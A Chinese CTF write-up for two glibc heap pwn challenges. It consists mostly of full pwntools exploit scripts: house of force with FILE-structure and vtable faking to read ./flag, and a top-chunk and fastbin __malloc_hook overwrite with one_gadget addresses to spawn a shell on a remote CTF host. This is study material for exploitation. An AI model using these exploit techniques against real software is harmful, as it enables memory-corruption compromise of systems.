记录一下巅峰极客的两道pwn,比赛只出了第一道,第二道PWN是赛后复现的,感觉很值得一学,对理解IOFILE很有帮助。
Pwn
题目分析
保护全开,乍看add、delete、show、change全有
然而仔细一看这个change往块里读的是stream的内容
而stream是fopen("/dev/urandom", "r");
得到的fd
delete存在UAF
add要求块数量<=0xF,大小>0x7F,块的地址必须在[heapbase,heapbase+0x600]
show,没什么特别的
利用
- 泄露libc和heap base
- 构造overlap改top的size,利用house_of_force在堆基地址分配块,改stream的内容
- 改stream的fileno为0即stdin,可以正常输入,这样就可以修正top chunk的size,否则后面的malloc函数和free函数都不能使用。
- 改stream的vtable->__xsgetn为fopen,恰当构造“./flag”和“r”字符串,可以在change的时候fopen(“./flag”,”r”)。
- 将stream的vtable的内容改回正常的值(只需将vtable->__xsgetn 和 vtable->__read改为正常值即可)
- change随便一个块,因为此时stream的fileno为fopen(“./flag”,”r”)得到的文件描述符,所以flag的值会被写入该块,随后show该块即可得到flag
详解写在注释里了。懒得在虚拟机里安中文输入法,我的塑料英文嘿嘿。。
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
ti="./pwn1"
debug=1
if debug==0:
io = remote()
elif debug==1:
io = process(ti)
elf=ELF(ti)
libc=ELF("./libc.so.6")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
def add(index,size,content): #16
ru('Choice:')
sl(1)
ru('input your index:\n')
sl(index)
ru('input your size:\n')#>=0x80
sl(size)
ru('input your context:\n')
sl(content)
def delete(index):
ru('Choice:')
sl(2)
ru('input your index:\n')
sl(index)
def show(index):
ru('Choice:')
sl(3)
ru('input your index:\n')
sl(index)
def change1(index):
ru('Choice:')
sl(4)
ru('input your index:\n')
sl(index)
def change2(index, content):
ru('Choice:')
sl(4)
ru('input your index:\n')
sl(index)
sleep(0.1)
s(content)
add(0,0x100-8,'0')
add(1,0x100-8,'1')
add(2,0x90-8,'2')
add(3,0x90-8,'3')#avoid cosolidate with top
#leak libc
delete(0)
show(0)
ru('note[0]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
libc.address=leak-0x3c4b78
log.success("libc base: "+hex(libc.address))
#leak heap base
delete(2)
show(2)
ru('note[2]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
heap_base=leak-0x230
log.success("heap base : "+hex(heap_base))
#overlap
add(4,0x90-8,'2'*(0x28)+p64(0x61))#get 2
delete(1)
add(5,0x100-8+0x100,'\x00'*(0x100-8)+p64(0x131))#get 0 and 1 in one chunk
delete(1)#cosolidate 1 and part of 2 to a 0x130 chunck
delete(3)#rise top
delete(4)#rise top
add(6,0x130-8,'\x00'*(0x100-8)+p64(0xffffffffffffffff))#change top size
#house_of_force to get the IO_FILE
add(7,-0x430-8,"1")
#set fileno 0 => stdin
fake = p64(0xfbad248b) + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 +p64(libc.address +0x3c5540)
fake += p64(0x0) #fileno
fake += p64(0x0)*2 + p64(heap_base +0xf0) + p64(0xffffffffffffffff) + p64(0x0) + p64(heap_base+0x100) +p64(0x0)*6
add(8, 0x110-8, fake)
#recover top size
add(9, 0x130-8, 'b')
change2(0, p64(0x0) + p64(0x20dc1) +'\x00'*0xf0)
#set fd="./flag" and fileno 4 and vtable
fake = "./flag\x00\x00" + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 + p64(libc.address+0x3c5540)
fake += p64(0x4) #set fileno 4 which fopen("./flag","r")
fake += p64(0x0)*2 + p64(heap_base+0xf0) + p64(0xffffffffffffffff)+ p64(0x0) + p64(heap_base+0x100)+p64(0x0)*6
fake += p64(heap_base+0x250)#vtable
change2(8, fake.ljust(0x110-8, '\x00'))
#fake vtable
fake_vtable = p64(0x0)*8
fake_vtable += p64(libc.address + 0x6dd70)#vtable->__xsgetn => _IO_new_fopen
#glibc2.23 define fopen(fname, mode) _IO_new_fopen (fname, mode)
add(0xc, 0x80,fake_vtable)
add(0xd, 0x80, "r")
change1(0xd) #fread("r",1,0x80,stream) => __GI__IO_file_xsgetn(stream, "r", 1*0x80); <=> fopen("./flag","r") #0x80 is useless
#there will be a new IOFILE whose fileno is 4
#change vtable to a normal one
delete(0xc)
fake_vtable2 = p64(0x0)*8
fake_vtable2 += p64(libc.address + 0x78ec0)#vtable->__xsgetn =>__GI__IO_file_xsgetn
fake_vtable2 += p64(0x0)*5
fake_vtable2 += p64(libc.address + 0x791a0)#vtable->__read => __GI__IO_file_read
add(0xe, 0x80, fake_vtable2)
#any number is okay
#change1(0x9)#fread(notes[0x9],1,0x88,stream)
#show(0x9)
change1(0xc)#fread(notes[0x9],1,0x88,stream)
show(0xc)
io.interactive()
此外
这题给了一个hint是
vtable fake
,但我觉得fileno
才是关键。自己试了一下改stream的vtable为onegadget,试图通过exit时 _IO_flush_all_lockp 来getshell,但是没成功,以后再试试吧,失败的exp就不贴了。
Snote
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
debug=0
if debug==0:
io = remote("55fca716.gamectf.com",37009)
elf=ELF("./Snote")
elif debug==1:
io = process("./Snote")
elf=ELF("./Snote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
def add(size,content):
ru('Your choice > ')
sl(1)
ru('Size > ')
sl(size)
ru('Content > \n')
s(content)
def show():#once
ru('Your choice > ')
sl(2)
def delete():#once
ru('Your choice > ')
sl(3)
def edit(size,content):
ru('Your choice > ')
sl(4)
ru('Size > ')
sl(size)
ru('Content > \n')
s(content)
ru("What's your name?\n")
sl("Q1IQ")
c="1"
add(0x70-8,"0"*(0x70-8))
add(0x70-8,"1"*(0x70-8))
edit(0x70,"2"*(0x70-8)+p64(0xf21))
add(0x1000,"3")
add(0x70-8,"0"*8)
show()
leak=u64(ru("Done")[8:16])
log.success(hex(leak))
libc.address=leak-0x3c5188
log.success(hex(libc.address))
delete()
edit(8,p64(libc.address+0x3c4b10-0x23))
add(0x70-8,"0"*(0x70-8))
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[2]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
#c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8
add(0x70-8,c)
ru('Your choice > ')
sl(1)
ru('Size > ')
sl(0x10)
io.interactive()